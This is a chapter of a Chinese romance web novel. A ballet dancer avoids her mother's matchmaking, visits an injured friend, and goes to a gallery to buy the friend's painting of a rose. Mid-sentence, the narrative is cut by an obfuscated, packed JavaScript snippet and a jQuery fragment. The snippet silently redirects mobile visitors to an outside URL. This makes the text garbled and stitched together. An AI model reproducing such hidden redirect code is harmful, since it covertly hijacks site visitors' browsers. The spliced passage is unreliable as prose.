“夏夏?”
宋知夏正在练功,炎热夏日,又是在室内运动,她的舞蹈服几乎都被汗水湿透了,但所幸这是件黑色的衣服,并不那么明显。
她将腿从横杆上放下来,擦了擦额头上的汗水,一转头就看见刚刚还在和编剧讨论剧情的剧团团长正笑眯眯看着自己。
团长见她回头,和蔼慈祥的脸上绽放出一个笑容,“今天是周六,怎么还是在这里排练了?不是说了让你回家好好休息几天吗?”
“可是团长,新剧目马上就要开始彩排,我得好好夯实一下基本功,这样才能不掉队啊。”宋知夏将腿上缠着的一圈沙袋取下,手上用劲揉了揉肿胀的肌肉放松神经。
团长笑眯眯道:“你也不要一心都扑在舞蹈上,我听你妈妈说,过了六月,就是你25岁的生日了,那也该考虑考虑终身大事了,你觉得呢?”
宋知夏不好拒绝团长的好意,只好老老实实道:“确实已经在考虑了,我妈妈天天急得跟什么似的,生怕我嫁不出去,光是这个月,我就见了五个相亲对象了……”
只是这些人大都一个比一个奇葩,宋知夏实在是不想应付他们。
“这么多人,你就没一个看上的?”
宋知夏卖乖道:“哎呀,团长,你又不是不知道,我的心思全在跳舞上,上次的剧目没有拿到奖,我一直不甘心。”
“那好吧,只是你要注意节制,腿上的沙袋不许再绑了,练到中午就回家好好休息!”
团长点了点她的额头,摇摇头叹了口气,晃晃悠悠地走了。
宋知夏一口气又做了几十个深蹲起,随后带着换洗的衣服去了浴室。
等她换好干净的衣服从换衣间出来,手机叮咚响了一声。
是自己母亲刘女士发来的一串消息。
刘翠兰:【你们副团介绍的,比你大三岁,在体制内工作,今年刚升了副高,在市区有一套房子,有个代步车,人长得也好。】
宋知夏:【?】
刘翠兰:【这人比之前几个长得都好看,妈见过真人,可精神了!】
宋知夏这才明白刚刚团长为什么会突然说起相亲的事,原来是要给她介绍对象,只是见她没什么想法,这才转向,让刘女士出马。
人人都说先成家再立业,可宋知夏作为剧团首席,有自己的骄傲和坚持。
更何况,一旦结婚,紧接着就会面临怀孕生子,最后便是身材走样、体态变形,舞蹈演员的优势将荡然无存。
宋知夏并不想将时间再次浪费在这种没有意义的事情上。
她想了一下,立马给刘女士发去了一条新的消息:【妈,我们团马上就要上新戏了,我忙得根本脱不开身,没有必要见,而且我才25岁,现在晚婚晚育的这么多,30岁之前我一定给你一个满意的答复,可以吗?】
谁知刘女士并不买单,直接发来语音:“他这个岁数,能有这样的成就,已经是打着灯笼都找不着的好人了。你要不还是周末去见见?你们副团说了,如果你要见的话,就安排你们这个周末见面,你看怎么样?”
宋知夏觉得不怎么样,可她也不好强硬地反驳母亲,毕竟团长也是一片好意。
她心中一阵憋闷,换了衣服就直奔闺蜜姜莹所在的医院。
病房里,姜莹一见到她,就打趣道,“你妈又让你相亲?”
宋之夏愁眉苦脸道:“这次不一样,这次是副团介绍的人,我不好直接拒绝,只是再这样下去,我的业余活动就要彻底变成相亲了。”
“怎么样?你的身体好点了吗?”说着她把带来的一小盒草莓放在将姜莹的手边,“我听说那男的拍了片子说是脑震荡?”
和宋之夏这类一心追求事业的‘无情道’优秀毕业生不同,姜莹是实打实地万花丛中过,片叶不沾身的主。
可她也有翻车的一天,这次住院,就是因为渣男出轨被姜莹发现后,两人互殴,姜莹没打过,不小心闪到了腰。
除了严重的肌肉拉伤,还断了三根肋骨。
“谁让他脚踩两只船,还被我抓个正着!”
宋知夏没好气道,“你还说呢,遇到这种事,你竟然单枪匹马地就去了,还好他还有点人性,把你送到了医院。”
姜莹想了想出了个主意,“你要不干脆骗你妈说,你喜欢女人算了?”
宋知夏幽幽地瞪她一眼,“你信不信,我要是真这么说了,第二天,我的相亲对象就会变成女人?”
姜莹顺着她说的话,想象了一幅宋知夏被迫和一个美艳的富婆相亲的场景,呆滞了一下,然后将预想中的画面赶出大脑,忍不住认真端详起自己的闺蜜。
一张巴掌大的小脸上,葡萄似的眼珠清亮有神,睫毛纤细可爱,挺翘的鼻子,饱满的唇形,整张脸上,五官精致而小巧,和谐又自然。
除了那颗痣。
那颗长在眉心的小痣,给她甜美的脸蛋上凭空增添一股不可侵犯之感,让人只可远观,不可亵玩。
“要是没有这颗痣,我肯定会不顾性向对你下手!”
宋知夏阴恻恻道:“我现在就可以对你下手!”
她作势要往姜莹的腰腹上抓去,姜莹吓得差点把草莓扔了。
两人打闹了一会,姜莹才道:“有件事,我想拜托你帮我。”
“什么?”
“就是我的那幅画,我听说,这几天会在江东路的一个画展上展出,你能不能出面,帮我把它买下来?”
姜莹说的画,宋知夏曾经见过,那时她才念高中,家境颇为优越的姜莹对自己的邻居肖晏舟一见钟情,她画了一幅热烈的红玫瑰准备高考后告白,谁知高考结束后,肖晏舟却出国留学,画虽然送出去了,可人却毫无音讯。
毕业后,姜莹也不是没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372125|199964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去找过,可还是没有任何关于肖晏舟的消息。
这么多年过去,宋知夏知道,姜莹虽然嘴上不说,可心里到底还想着这事,总是通过各类人脉打听画的下落。
“好!”
宋知夏一听是这事,一口应下,出了医院,就直奔江东路而去。
*
时间临近下午四点,出租车的玻璃车窗逐渐被水汽浸染,远处的车灯在窗上投下一块块光斑。
“看这样子,是要下雨啊!”
司机的自言自语惊醒了盯着玻璃发呆的宋知夏,她回过神来,看了眼窗外的天色,“师傅,还有多久到江东路?”
“过了这个红灯就到了。”
宋知夏点点头,低头从包里拿出手机,给姜莹发了一条消息:
【如果,画的主人不是肖晏舟,你打算怎么办?】
车子拐入江东路口时,姜莹的回复刚发过来:
【不是就不是,不要为还没到来的事情烦心!男人,只会影响我出拳的速度!】
宋知夏盯着手机上后面紧接着发来的表情包,想到她硬和渣男比比拳头的“英勇事迹”,不禁笑出了声。
姜莹说的对,哪怕真的走到必须相亲的地步,只要她不愿意,刘女士和宋老爹也不能把她怎么样!
下车后,宋知夏神色轻快地走进了胡同小巷尽头的小门。
这里就是这次公益画展的举办地址,只是不知为何,选在了这么一个偏僻的胡同小巷。
过了小门,首先映入眼帘的,就是一幅巨大的星空穹顶,每一颗星星都在黑色幕布的映衬下轻轻闪烁。
紧接着看到的,就是宽阔敞亮的大厅,和低调的入口不同,这里的装修处处都透着一股巴洛克风格,相当的奢华繁复。
但它和整体的星空穹顶显得十分割裂。
宋知夏看向展出的众多画作,没过多久,她就找到了姜莹所画的那一幅极具生命力的玫瑰。
画上的玫瑰静静开放在泥土中,即使笔触略显稚嫩,也刻画出了扑面而来的热烈爱意。
也许是她盯着这幅画的时间有些长,一道清越的声音在耳边响起,“众多的花卉中,我最喜欢的就是玫瑰。”
宋知夏转头看去,她的身后不知什么时候,站着一个人。
?
只是她左看了看,右瞅了瞅,这幅画前就站着他们两个人。
这人是在和我说话?
她缓缓露出一个茫然的表情,却在瞥见男人嘴角刻意的笑容时,一下子反应过来。
假装和她有共同语言,然后抛出那么一句“我喜欢……”,仿佛就等着她被吸引,然后去问上一句,为什么。
男人的搭讪手段,就不能有点新意吗?
宋知夏偏就不如他的愿,她瞪着圆溜溜的眼珠子,骂道:
“我管你喜欢什么!有病。”